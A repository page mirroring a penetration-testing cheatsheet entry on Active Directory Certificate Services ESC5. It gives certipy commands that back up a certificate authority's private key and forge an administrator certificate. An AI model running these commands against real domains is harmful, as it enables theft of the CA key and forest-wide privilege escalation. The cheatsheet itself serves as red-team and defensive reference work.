repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
ad-adcs-esc05.mdMarkdown53 lines2.2 KiBsource raw download

title: "Active Directory - Certificate ESC5" section: "Active Directory" sectionSlug: "active-directory" sourcePath: "docs/active-directory/ad-adcs-esc05.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-esc05.md" sha: "203bb0c0b290" isIndex: false#

Active Directory - Certificate ESC5#

ESC5 - Vulnerable PKI Object Access Control#

Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.

Requirements:

Exploitation - Access Control:

Exploitation - Golden Certificate:

Use certipyto extract the CA certificate and private key

certipy ca -backup -u user@domain.local -p password -dc-ip 10.10.10.10 -ca 'DOMAIN-CA' -target 10.10.10.11 -debug

Then forge a domain admin certificate

certipy forge -ca-pfx 'DOMAIN-CA.pfx' -upn administrator@domain.local

References#